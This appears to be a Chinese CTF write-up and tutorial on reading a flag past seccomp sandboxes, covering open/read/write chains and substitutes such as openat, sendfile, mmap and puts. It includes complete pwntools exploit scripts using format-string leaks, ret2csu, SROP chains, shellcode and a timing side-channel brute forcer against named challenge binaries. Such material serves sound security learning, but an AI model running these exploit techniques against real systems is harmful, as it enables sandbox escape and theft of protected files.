ORW与沙箱绕过
沙箱装载一般是用prctl或seccomp函数装载,可以看看这两篇文章Linux prctl详解与进程重命名,Seccomp、BPF与容器安全我主要讲讲绕过的方法及部分限制下的运用(后面也应该会讲讲原理与出题);
沙箱分为白箱(允许部分系统调用)和黑箱(禁止部分系统调用)通过seccomp-tools工具利用seccomp-tools dump ./(对应文件名) ,查看,注意是要装载了沙箱才能用这个看出来,否则看不出来。
关于文件描述符,正常0是键盘输入,1是屏幕输出,2是标准错误,2以上就是文件的。
一般orw就是利用open,read,write三个函数,实现打开flag,往内存写入flag,从内存读取flag的任务。使用orw主要情况是开了沙箱禁用了系统调用,所以不能像之前一样getshell后直接cat flag了。并且ctf比赛也只需要拿到flag就可以了,所以orw就替system承担了拿到flag的任务,先看这三个函数的原型
- open :int open(const char *pathname, int flags); int open(const char *pathname, int flags,mode_t mode);可以看见有两个原型,不过实际上就是第二个原型,大概就是因为glibc提供了一个变参函数来处理我们输入的open,最终也会转化为第二个原型。不过我们读取flag不需要用到第三个参数,因为第三个参数是假如选择创建文件,那么要指定创建文件的权限,一般不会用这个。第一个参数是flag的路径,我们一般填./flag或者flag或者/flag,第二个是以什么形式打开,我们填0(只读形式就可以了)所以我们只需要调用出像open('./flag',0)就完成了open的任务
- read:read(int fd, void *buf, size_t count);第一个参数是文件描述符,表示从哪输入,第二个参数是一个指针,指向我们要写入的地址,第三个参数是写入的大小。一般我们在open的rax已经有了打开文件的文件描述符,不过打rop链的时候不方便用,所以还是遵循一般规律,一般3是新打开的文件描述符所以我们调用出像read(3,addr,0x100)就算完成了read的任务
- write:write(int fd, const void *buf, size_t count);第一个参数是文件描述符,表示从哪输出,第二个参数是一个指针,指向我们要输出的地址,第三个参数是输出的大小。我们一般把第一个参数设置为1或者2,这样flag就会打印在屏幕上,所以我们只需要调用出像write(1,addr,0x100)就算完成了write的任务
orw的任务都完成了之后,我们的flag就出现在屏幕上了。下面我们看例题
PCTF2025的week2-sandbox_err
先checksec及seccomp-tools看一下
首先没有canary,但有pie保护和full relro保护,再看沙盒,第一个是检查我们的架构是不是64位的,这个就会影响后面的特殊情况,第三条就是读取系统调用号。第四条就是检测系统调用号的大小,这个也会影响我们后面特殊情况下的利用,第五个是长度检测,第六个是禁用shell,后面就不解释了。但注意,这里不是每个选项都开了沙盒的,一定要选到开了沙盒的选项才能看见。接下来去ida看看

一个菜单程序,选1给一个栈地址,选2给栈溢出,选3给一个16字节的格式化字符串机会,选四先装沙盒再打开shell(shell会被沙盒禁用,没用)。这里选3和1没有开沙盒,2和4开了。这里大方向上思路有两个,第一个选择格式化字符串改选2后函数的返回地址(尽管full relro了但我并不改got表)第二个选择格式化字符串泄露pie和libc基地址后打orw。这里我们看orw,这里除了o,rw都是三参数函数,意味着需要控制rdi,rsi,rdx但这里没有找到控制rdx的gadget,libc里也没有,那怎么办呢?这里又有两种方法
- 这里因为我们有libc基地址,所以可以找控制rax的gadget与syscall,然后就可以通过srop链实现orw
- 或者我们通过ret2csu实现控制rdx
ret2csu解法
脚本如下
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('challenge.imxbt.cn',32084)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def csu(rdi,rsi,rdx,got):
pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
return pay
def dbg():
gdb.attach(p)
pause()
ru(b"Make your choice : \n")
sl(b'3')
ru(b"I believe in miracles.\n")
sl(b'%21$pk%17$pko')
leak=ru(b'o').strip().decode()
pie,libcbase,c=leak.split('\n')[0].split('k')
pie=int(pie,16)-0x160b
print(hex(pie))
csugo=pie+0x1690
csuin=pie+0x16A6
rdi=pie+0x16b3
bss=pie+0x4060
ru(b"Make your choice : \n")
sl(b'2')
ru(b"You chose getshell!\n")
libcbase=int(libcbase,16)-0x2a1ca
'''
puts=pie+elf.sym['puts']
put=pie+elf.got['puts']
back=pie+0x15b3
pay=0x68*b'b'+flat(rdi,put,puts,back)
sd(pay)
ru(b'congratulations!\n')
libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
#第二种泄露libc的方法
'''
print(hex(libcbase))
read=pie+0x3FB0#这是read函数got表的地址
openn=libcbase+libc.sym['open']
write=libcbase+libc.sym['write']
rcx=libcbase+0xa877e
rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,bss,rsi,0,openn)
pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)
sd(pay)
ru(b'congratulations!\n')
pay=b'./flag\x00\x00'+p64(openn)+p64(write)
sd(pay)
ti()
效果如图
不过这里不知道为什么文件描述符是6,正常应该是3的,注意一下。
SROP链与orw
其实我们的srop链也是可以完成orw的,但需要的空间比较大,下面我主要讲怎么把这个链拼起来。比如之前那道srop的静态编译题,当时虽然我也用了两个srop结构,不过有点太巧了,就是一个read然后再跳到read写入的地方执行,但假如要连续执行三个函数(orw)就不好办了,下面我们看看一次read写入后直接实现orw的srop链。
一道64位的静态编译题
先看题

很明确的一题,这里我们用srop链实现orw,确定rsp的位置的时候就是要先写出框架,然后通过调试确定rsp的地址。脚本像这样
大概就是首先通过一个Sigreturn调用出read往bss段写入我们orw的SigreturnFrame结构,然后控制rsp指向第一个open的Sigreturn结构开始的地方(pop rax;ret;),接下来就是调试看剩下两个结构开始的地方了。
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
flag = 0
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def dbg():
gdb.attach(p)
pause()
ru(b"where is my system_x64?\n")
rax=0x46b9f8
end=0x45bac5
bss=0x6C1C60
srop=SigreturnFrame()
srop.rax=0
srop.rdi=0
srop.rsi=bss+0x400
srop.rdx=0x400
srop.rsp=bss+0x408
srop.rip=end
srop1=SigreturnFrame()
srop1.rax=2
srop1.rdi=bss+0x400
srop1.rsi=0
srop1.rsp=0
srop1.rdx=0
srop1.rip=end
srop2=SigreturnFrame()
srop2.rax=0
srop2.rdi=3
srop2.rsi=bss
srop2.rdx=0x100
srop2.rsp=0
srop2.rip=end
srop3=SigreturnFrame()
srop3.rax=1
srop3.rdi=1
srop3.rsi=bss
srop3.rdx=0x100
srop3.rip=end
pay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)
sl(pay)
pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
dbg()
sd(pay)
ti()
这里我们就需要具体动态调试看具体位置了,我们调试一下
这里我们可以看见第二个结构的开始位置是0x6c2178,第三个结构的开始位置同理可得是0x6c2288,所以我们就分别把第一,第二个结构的rsp填上第二,第三个结构的开始位置,这样我们的srop链就完成了。完整脚本如下
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
flag = 0
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def dbg():
gdb.attach(p)
pause()
ru(b"where is my system_x64?\n")
rax=0x46b9f8
end=0x45bac5
bss=0x6C1C60
srop=SigreturnFrame()
srop.rax=0
srop.rdi=0
srop.rsi=bss+0x400
srop.rdx=0x400
srop.rsp=bss+0x408
srop.rip=end
srop1=SigreturnFrame()
srop1.rax=2
srop1.rdi=bss+0x400
srop1.rsi=0
srop1.rsp=0x6c2178
srop1.rdx=0
srop1.rip=end
srop2=SigreturnFrame()
srop2.rax=0
srop2.rdi=3
srop2.rsi=bss
srop2.rdx=0x100
srop2.rsp=0x6c2288
srop2.rip=end
srop3=SigreturnFrame()
srop3.rax=1
srop3.rdi=1
srop3.rsi=bss
srop3.rdx=0x100
srop3.rip=end
pay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)
sl(pay)
pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
dbg()
sd(pay)
ti()
当然这里也不仅仅可以用orw写,我们系统调用也有openat,sendfile,mmap,以及mprotect。
PCTF2025的week2-sandbox_err的SROP链解法
接下来我们继续写一下刚才的沙盒,用srop写也是一样,不过我们控制rax的gadget与syscall要在libc里面找(这个是能找到的,syscall可以gdb里用search -x 0f05c3找),还有一个要注意的就是这题开了pie保护,不能直接用调试里面的那个地址了,但是我们可以算距离第一个pop rax;ret;的偏移。
脚本如下
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('challenge.imxbt.cn',31611)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def csu(rdi,rsi,rdx,got):
pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
return pay
def dbg():
gdb.attach(p)
pause()
ru(b"Make your choice : \n")
sl(b'3')
ru(b"I believe in miracles.\n")
sl(b'%21$pk%17$pko')
leak=ru(b'o').strip().decode()
pie,libcbase,c=leak.split('\n')[0].split('k')
pie=int(pie,16)-0x160b
print(hex(pie))
csugo=pie+0x1690
csuin=pie+0x16A6
rdi=pie+0x16b3
bss=pie+0x4060
ru(b"Make your choice : \n")
sl(b'2')
ru(b"You chose getshell!\n")
libcbase=int(libcbase,16)-0x2a1ca
end=libcbase+0x98fb6
rax=libcbase+0xdd237
srop=SigreturnFrame()
srop.rax=0
srop.rdi=0
srop.rsi=bss
srop.rdx=0x400
srop.rsp=bss+0x8
srop.rip=end
srop1=SigreturnFrame()
srop1.rax=2
srop1.rdi=bss
srop1.rsi=0
srop1.rsp=bss+0x118
srop1.rdx=0
srop1.rip=end
srop2=SigreturnFrame()
srop2.rax=0
srop2.rdi=6
srop2.rsi=bss
srop2.rdx=0x100
srop2.rsp=bss+0x118+0x110
srop2.rip=end
srop3=SigreturnFrame()
srop3.rax=1
srop3.rdi=1
srop3.rsi=bss
srop3.rdx=0x100
srop3.rip=end
'''
puts=pie+elf.sym['puts']
put=pie+elf.got['puts']
back=pie+0x15b3
pay=0x68*b'b'+flat(rdi,put,puts,back)
sd(pay)
ru(b'congratulations!\n')
libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
'''
print(hex(libcbase))
pay=0x68*b'b'+flat(rax,0xf,end)+bytes(srop)
sd(pay)
ru(b'congratulations!\n')
pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
sd(pay)
ti()
效果如下
这两种都感觉可以吧,我个人目前感觉可能srop好用一点?主要是它几乎能控制所有寄存器了,而且srop链也不一定要用到底,也可以用一半然后再用不在系统调用里的函数,感觉灵活一点。
缺R:pread64或sendfile或mmap
sendflie在32位下的系统调用号为0xbb,64位下为0x28
sendfile函数的作用就是把一个文件的内容发送到另一个文件,但我们的屏幕输出也是一个文件,所以这个函数相当于集成了rw的任务。其函数原型为senfile(int out_fd,int in_fd,off_t* offset,size_t count)其中out_fd是输出文件的文件描述符,in_fd是输入文件的文件描述符,off_t* offset是从文件哪里开始读取,size_t count是读取大小。一般设置为sendflie(1,3,0,0x100)其中1是打印到屏幕,3是flag的描述符(大部分情况是3,但不一定),0是从文件开头开始读取,0x100是读取大小(可以随便设,但最好不要小于0x20)。因为他需要四个参数,而正常是没有控制四个参数的gadget的,所以一般如果是一般rop链的orw(除了srop)不会使用这个函数,一般在写shellcode时使用。
pread64跟read函数很像,多了第四个参数偏移量,感觉没那么稳定了。
mmap函数的原型如下mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);第一个参数是地址(必须是内存页的起始地址,地址后三位位000),第二个参数是大小(要为0x1000的整数倍)第三给参数是给的权限,一般给1(可读),第四个参数是一个性质的标志,一般当read用就写0x11(共享映射及固定地址),第五个参数是文件描述符不解释了(一般是3),最后一个是偏移,设0就好,一般替换orw的r就设置成mmap(addr,0x1000,1,0x11,3,0),不过这个函数要六个参数,几乎不太可能有这么多好用的gadget,所以一般在写shellcode或srop里用。
下面我们看例题
BaseCTF2024新生赛orz!
先chekcsec
开了pie没开canary,接下来放ida看看
这里我们看见用mmap函数给我们分配了一段可读可写可执行的地址并且用指针变量buf接收,看mmap的的四个参数是34,也就是32(0x20匿名映射,不会关联文件且里面内容被初始化为0)+2(0x2写时复制,不会把写的内容改到文件中)此外还有常用的就是16(0x10指定地址,因为我们写的地址不一定是实际映射的位置,要考虑很多因素,但用了这个标志的话如果能映射成功,那映射的地址就一定是我们输入的地址,不好的就是假如我们给的地址无法映射就会直接报错)接下来是我们read函数往buf中写内容,后面是return回buf的地方执行。
也就是我们只需要写shellcode就可以了,接下来我们看沙盒
可以看见把orw全禁了,但我们可以写shellcode,所以我们o用openat,rw用sendfile就写完了(不过这个题好像远程有问题,我就打本地了)脚本如下
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
flag = 0
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def dbg():
gdb.attach(p)
pause()
ru(b"Enter your shellcode:\n")
pay=asm(shellcraft.openat(-100,'./flag'))+asm(shellcraft.sendfile(1,3,0,0x100))
sd(pay)
ti()
效果如下
缺O:openat,利用x32 ABI或利用retfq调用32位open绕过
openat函数原型为openat(int dirfd, const char *pathname, int flags, mode_t mode);其中第一个是文件描述符,表示相对路径的起始点,我们一般直接设置为-100(用补码表示负数0xffffffffffffff9c),这个的意思是当前目录下。第二个是要打开目录的文件名,第三个是打开的标志,最后一个是假如选择创建文件,那么要指定创建文件的权限,我们读取flag不用管后两个,只要设置成openat(-100, './flag\x00')就好当然里面flag也可以改成(./flag或者flag都可以)
openat在32位下系统调用号位0x127,64位下为0x101
x32 ABI比较简单就是在正常64位系统调用号后加上0x40000000就可以利用32位程序的系统调用函数主要在未检测系统调用号时使用,类似下面这样的沙盒就是进行了检测了,不能用了。
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
retfq就是利用retf改变cs寄存器的值,让我们64位系统去以32位模式去执行函数,retf就相当于ret + pop cs(不过我还没找到题......有机会见到再补充例题,我目前汇编也不太好)
这里我们看刚才那题沙盒的csu解法用openat的脚本
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('challenge.imxbt.cn',32084)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def csu(rdi,rsi,rdx,got):
pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
return pay
def dbg():
gdb.attach(p)
pause()
ru(b"Make your choice : \n")
sl(b'3')
ru(b"I believe in miracles.\n")
sl(b'%21$pk%17$pko')
leak=ru(b'o').strip().decode()
pie,libcbase,c=leak.split('\n')[0].split('k')
pie=int(pie,16)-0x160b
print(hex(pie))
csugo=pie+0x1690
csuin=pie+0x16A6
rdi=pie+0x16b3
bss=pie+0x4060
ru(b"Make your choice : \n")
sl(b'2')
ru(b"You chose getshell!\n")
libcbase=int(libcbase,16)-0x2a1ca
'''
puts=pie+elf.sym['puts']
put=pie+elf.got['puts']
back=pie+0x15b3
pay=0x68*b'b'+flat(rdi,put,puts,back)
sd(pay)
ru(b'congratulations!\n')
libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
'''
print(hex(libcbase))
read=pie+0x3FB0
gets=libcbase+libc.sym['gets']
end=libcbase+0x98fb6
openn=libcbase+libc.sym['openat']
write=libcbase+libc.sym['write']
puts=libcbase+libc.sym['puts']
rcx=libcbase+0xa877e
rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
rax=libcbase+0xdd237
pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)
pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)
sd(pay)
ru(b'congratulations!\n')
pay=b'./flag\x00\x00'+p64(openn)+p64(write)
sd(pay)
ti()
基本不用怎么改,就注意一下参数就可以,用srop链也同理,注意系统调用号及参数就行。
缺W:writev或puts或sendfile或侧信道爆破
writev跟write函数差不多,但是其第二个参数变成了一个二级指针,也就是说我要一个指针指向我想写入的地址才能读了(所以比较麻烦了,我要先往bss段里写入后一个bss段的地址,再用read往后一个bss段里写flag,最后把writev的第二个参数用前一个bss的地址才行),第三个参数也是变成了8字节的整数倍这个倒是影响不大(不过我实测下来感觉这个函数不是很好用)。
puts:伟大无需多言,甚至比write函数还好利用rop链调用,也比较稳定,缺点是不在系统调用里面,如果文件里没有puts需要泄露libc。
侧信道爆破:侧信道意思就是利用一些其他因素推断程序运行的情况(时间,温度,声音等)对于我们远程比赛(ctf)中,好判断的就是时间。所以我们就是在or的基础上把flag与我们预设的字符表进行逐字节比较,如果比较正确我们可以预设一个死循环让程序一直在运行,比较错误就直接退出,最后设置一个时间检测,如果超过一定时间就记住这个字符。这样就可以实现逐字节爆破,不过这是可执行shellcode的情况,我们可以直接写指令,就像网上流传的shellcode及脚本如下
cl,al,dl是rcx,rax,rdx的低八位(只能储存一个字节)
mov r12, 0x67616c66 ; 将字符串 "flag" 的 ASCII 值加载到寄存器 r12 中(因为小端序所以是这样写的,倒过来读就是ascii码了)
push r12 ; 将 r12 的值推送到栈上
mov rdi, rsp ; 将栈上的地址赋给寄存器 rdi
xor esi, esi ; 将 esi 寄存器清零
xor edx, edx ; 将 edx 寄存器清零
mov al, 2 ; 将系统调用号 2(open)加载到寄存器 al 中
syscall ; 执行系统调用 open,打开文件名为 flag 的文件
mov rdi, rax ; 将 open 返回的文件描述符赋给 rdi
mov rsi, 0x10700 ; 将缓冲区地址加载到 rsi(缓冲区是用于存放 flag 内容)
mov dl, 0x40 ; 将读取的字节数加载到 dl(64 字节)
xor rax, rax ; 将 rax 寄存器清零
syscall ; 执行系统调用 read,读取 flag 内容到缓冲区
mov dl, byte ptr [rsi+{}] ; 将缓冲区中的某个字节加载到寄存器 dl
mov cl, {} ; 将输入参数 char 加载到寄存器 cl
cmp cl, dl ; 比较寄存器 cl 和 dl 的值
jz loop ; 如果相等,跳转到 loop 标签
mov al, 60 ; 将系统调用号 60(exit)加载到寄存器 al
syscall ; 执行系统调用 exit
loop:
jmp loop ; 无限循环
#这个代码片段中的 {} 部分是通过 format(dis,char) 动态插入的
这两段来源于侧信道爆破
flag = "" #初始化一个空的字符串来存储 flag。
for i in range(len(flag),36): #从当前 flag 长度到长度 35 的范围内找到 flag 的字符
sleep(1)
log.success("flag : {}".format(flag)) #打印当前已知的 flag 内容。
for j in range(0x20,0x80): #在 ASCII 可打印字符范围内进行循环。
p = process('./pwn')
try:
exp(i,j)
p.recvline(timeout=1) #在 1 秒内没有收到数据,将抛出一个超时异常。
flag += chr(j)
s('\n')
log.success("{} pos : {} success".format(i,chr(j)))
p.close()
break #跳出当前的 for 循环,继续下一个长度的 flag 的爆破。
except:
p.close()
如果没有shellcode执行区可以用mprotect,如果mprotect也不能用,就要用rop链版的侧信道爆破了,这个的原理是利用strcmp函数在比较相同的时候会把rax设置为0,而在64位下系统调用0就是我们的read函数,这样就可以实现中断了,详细可以参考这篇文章侧信道攻击的一种新方式(纯ROP实现侧信道)-先知社区
sendfile:这个函数前面介绍了,可以直接把rw的任务全完成了,把sendfile设置成像sendfile(1,3,0,0x100)就好。第二个文件描述符可能会变,不一定是3。第一个如果不给标准输出也可以用2(标准错误)
这里我们看刚才那题沙盒用puts的方法,脚本如下
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
flag = 1
if flag:
p = remote('challenge.imxbt.cn',32084)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def csu(rdi,rsi,rdx,got):
pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
return pay
def dbg():
gdb.attach(p)
pause()
ru(b"Make your choice : \n")
sl(b'3')
ru(b"I believe in miracles.\n")
sl(b'%21$pk%17$pko')
leak=ru(b'o').strip().decode()
pie,libcbase,c=leak.split('\n')[0].split('k')
pie=int(pie,16)-0x160b
print(hex(pie))
csugo=pie+0x1690
csuin=pie+0x16A6
rdi=pie+0x16b3
bss=pie+0x4060
ru(b"Make your choice : \n")
sl(b'2')
ru(b"You chose getshell!\n")
libcbase=int(libcbase,16)-0x2a1ca
'''
puts=pie+elf.sym['puts']
put=pie+elf.got['puts']
back=pie+0x15b3
pay=0x68*b'b'+flat(rdi,put,puts,back)
sd(pay)
ru(b'congratulations!\n')
libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
'''
print(hex(libcbase))
read=pie+0x3FB0
end=libcbase+0x98fb6
openn=libcbase+libc.sym['openat']
puts=libcbase+libc.sym['puts']
rcx=libcbase+0xa877e
rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)
pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(0,0,0,0)+flat(rdi,bss+0x18,puts)
sd(pay)
ru(b'congratulations!\n')
pay=b'./flag\x00\x00'+p64(openn)
sd(pay)
ti()
效果如下

这里还有挺多方法我还没运用,后面遇到题会慢慢补上的。

浙公网安备 33010602011771号